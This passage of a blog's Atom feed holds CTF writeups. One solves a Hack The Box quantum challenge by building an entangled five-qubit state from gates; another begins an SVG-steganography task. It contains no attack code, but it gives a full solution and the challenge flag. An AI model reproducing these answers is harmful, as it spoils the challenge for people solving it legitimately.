<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>R3X DJ</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://r3xdj.pages.dev/</id>
  <link href="https://r3xdj.pages.dev/" rel="alternate"/>
  <link href="https://r3xdj.pages.dev/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, R3X DJ</rights>
  <subtitle>CTF / Math / CS Notes</subtitle>
  <title>R3X's Blog</title>
  <updated>2026-07-24T11:26:10.000Z</updated>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="ctf" scheme="https://r3xdj.pages.dev/tags/ctf/"/>
    <category term="quantum" scheme="https://r3xdj.pages.dev/tags/quantum/"/>
    <category term="qiskit" scheme="https://r3xdj.pages.dev/tags/qiskit/"/>
    <content>
      <![CDATA[<p>一周前才去上量子計算的課程，然後就突然發現 HTB 上居然有量子相關的 CTF 題目耶！</p><p>Challenge link: <a href="https://app.hackthebox.com/challenges/Global%2520Hyperlink%2520Zone">Hack The Box :: Global Hyperlink Zone Challenge</a></p><p>查看這段關鍵的原始碼：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">initialize_hyperlink</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> instructions<span class="token punctuation">,</span> shots <span class="token operator">=</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>instructions<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    circuit <span class="token operator">=</span> self<span class="token punctuation">.</span>generate_circuit<span class="token punctuation">(</span>instructions<span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token keyword">not</span> circuit<span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    compiled <span class="token operator">=</span> transpile<span class="token punctuation">(</span>circuit<span class="token punctuation">,</span> self<span class="token punctuation">.</span>backend<span class="token punctuation">)</span>    results <span class="token operator">=</span> self<span class="token punctuation">.</span>backend<span class="token punctuation">.</span>run<span class="token punctuation">(</span>compiled<span class="token punctuation">,</span> shots <span class="token operator">=</span> shots<span class="token punctuation">,</span> memory <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">.</span>result<span class="token punctuation">(</span><span class="token punctuation">)</span>    shares <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">""</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">5</span>        <span class="token keyword">for</span> bits <span class="token keyword">in</span> results<span class="token punctuation">.</span>get_memory<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> i<span class="token punctuation">,</span> bit <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>bits<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            shares<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+=</span> bit    shares <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token builtin">int</span><span class="token punctuation">(</span>share<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">,</span> byteorder <span class="token operator">=</span> <span class="token string">"big"</span><span class="token punctuation">)</span> <span class="token keyword">for</span> share <span class="token keyword">in</span> shares <span class="token punctuation">]</span>    <span class="token keyword">if</span> <span class="token builtin">any</span><span class="token punctuation">(</span><span class="token builtin">set</span><span class="token punctuation">(</span>share<span class="token punctuation">)</span> <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token number">255</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token keyword">for</span> share <span class="token keyword">in</span> shares<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>        shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token keyword">and</span>        shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token keyword">and</span>        shares<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token keyword">and</span>        shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">!=</span> shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>    <span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">True</span>    <span class="token keyword">return</span> <span class="token boolean">False</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">for</span> bits <span class="token keyword">in</span> results<span class="token punctuation">.</span>get_memory<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> i<span class="token punctuation">,</span> bit <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>bits<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        shares<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+=</span> bit<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><code>results.get_memory()</code> 是單次測量的結果，比如 <code>00101</code> 就代表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub><mo>=</mo><mn>1</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><mn>1</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>3</mn></msub><mo>=</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>4</mn></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">q_0=1, q_1=0, q_2=1,q_3=0,q_4=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。而之所以要把他翻轉 (<code>bits[::-1]</code>) 就是因為 IBM 的約定是最右邊的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，但 Python 是從最左邊開始讀。而那個 <code>for</code> 迴圈的功能便是將不同 qubits 的測量結果拆開。比如若跑完後 <code>shares[0] = 01001100</code>，就代表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 第一次觀測結果為 <code>0</code>，第二次為 <code>1</code>，第三、四次為 <code>0</code> 等等。<br>伺服器印出 Flag 的條件是：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token keyword">and</span> shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token keyword">and</span>shares<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token keyword">and</span> shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">!=</span> shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>也就是在每次測量都有</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub><mo>=</mo><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><msub><mi>q</mi><mn>3</mn></msub><mo mathvariant="normal">≠</mo><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><msub><mi>q</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">q_0 = q_1 = q_3 \neq q_2 = q_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>同時不能有任何一個 qubits 的每次測量結果全為 0 或 1：<br><code>if any(set(share) in ({0}, {255}) for share in shares): return False</code></p><p>不難想到我們要構造出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01011</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10100</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt2}\left( \vert{} 01011 \rangle + \vert{} 10100 \rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01011</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10100</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>一個很直覺的方法便是用 H Gate + CNOT Gate，而因為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>q</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">q_2, q_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 要和別人不一樣所以在被 CNOT 控制之前要先放一個 X GATE</p><p>我使用的 payload 如下：</p><pre class="line-numbers language-code" data-language="code"><code class="language-code">X:2;X:4;H:0;CX:0,1;CX:0,2;CX:0,3;CX:0,4<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>輸入給 server 就能得到 Flag: <code>HTB{4_57r4ng3_gr33nb3rg3r_h0rn3_z31L1ng3r_57473_1n1714L1z35_7h3_hyp3rL1nk!}</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/24/HTB-Global-Hyperlink-Zone-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/07/24/HTB-Global-Hyperlink-Zone-Writeup/"/>
    <published>2026-07-24T11:26:10.000Z</published>
    <summary>The writeup for hack the box quantum challenge: Global Hyperlink Zone Writeup</summary>
    <title>HTB -  Global Hyperlink Zone Writeup</title>
    <updated>2026-07-24T11:26:10.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="crypto" scheme="https://r3xdj.pages.dev/tags/crypto/"/>
    <category term="web" scheme="https://r3xdj.pages.dev/tags/web/"/>
    <category term="misc" scheme="https://r3xdj.pages.dev/tags/misc/"/>
    <category term="CTF" scheme="https://r3xdj.pages.dev/tags/CTF/"/>
    <category term="forensics" scheme="https://r3xdj.pages.dev/tags/forensics/"/>
    <category term="AI" scheme="https://r3xdj.pages.dev/tags/AI/"/>
    <content>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1><p>我們戰隊組了三隊去玩：<code>RCEs</code>、<code>RCEs-2</code>、<code>owo</code> (因為一隊上限 3 人)，結果 <code>RCEs-2</code> 排名比我們前面很多XD</p><p><img src="RCEs.png" alt="RCEs"><br><img src="2026-07-14-20-00-15.png" alt="RCEs"></p><h1 id="misc" tabindex="-1">Misc</h1><h2 id="ghost-layers" tabindex="-1" id="Ghost-Layers">Ghost Layers</h2><p><img src="2026-07-20-14-10-56.png" alt="Ghost Layers"></p><p>題目給了一個 svg：</p><p><img src="beaver.svg" alt="beaver.svg"></p><p>先上網找個 svg-formatter-beautifier 這樣比較好看<br>然後可以看到 <code>&lt;def&gt;</code> 中的 <code>&lt;g id=&quot;s17&quot;&gt;</code>：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>s17<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(62.500,454.000) scale(0.009400,-0.009400)<span class="token punctuation">"</span></span> <span class="token attr-name">fill</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#f8efc9<span class="token punctuation">"</span></span> <span class="token attr-name">stroke</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#f8efc9<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>36<span class="token punctuation">"</span></span> <span class="token attr-name">stroke-linejoin</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>round<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M803 578Q803 728 746.0 818.5Q689 909 596 909Q504 909 447.5 819.0Q391 729 391 578Q391 426 447.5 336.0Q504 246 596 246Q689 246 746.0 336.5Q803 427 803 578ZM1096 84Q1096 -185 974.5 -304.5Q853 -424 580 -424Q488 -424 398.0 -410.5Q308 -397 215 -369V-100Q298 -146 384.0 -168.0Q470 -190 561 -190Q685 -190 744.0 -131.5Q803 -73 803 51V172Q760 92 689.0 53.0Q618 14 516 14Q324 14 211.0 164.0Q98 314 98 571Q98 837 211.0 993.0Q324 1149 514 1149Q610 1149 685.0 1104.0Q760 1059 803 977V1120H1096Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(0,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M1151 811Q1103 855 1038.5 877.0Q974 899 897 899Q804 899 734.5 866.5Q665 834 627 772Q603 734 593.5 680.0Q584 626 584 516V0H291V1120H584V946Q627 1042 716.0 1094.5Q805 1147 924 1147Q984 1147 1041.5 1132.5Q1099 1118 1151 1090Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(1233,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M616 909Q511 909 451.0 816.5Q391 724 391 559Q391 394 451.0 301.5Q511 209 616 209Q722 209 782.0 301.5Q842 394 842 559Q842 724 782.0 816.5Q722 909 616 909ZM98 559Q98 830 238.5 988.5Q379 1147 616 1147Q854 1147 994.5 988.5Q1135 830 1135 559Q1135 288 994.5 129.5Q854 -29 616 -29Q379 -29 238.5 129.5Q98 288 98 559Z<span class="token punctuation">"</span></span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(2466,0)<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token comment">&lt;!-- 中間省略 --></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>path</span> <span class="token attr-name">d</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>M180 -143H301Q405 -143 441.0 -100.0Q477 -57 477 86V291Q477 455 526.0 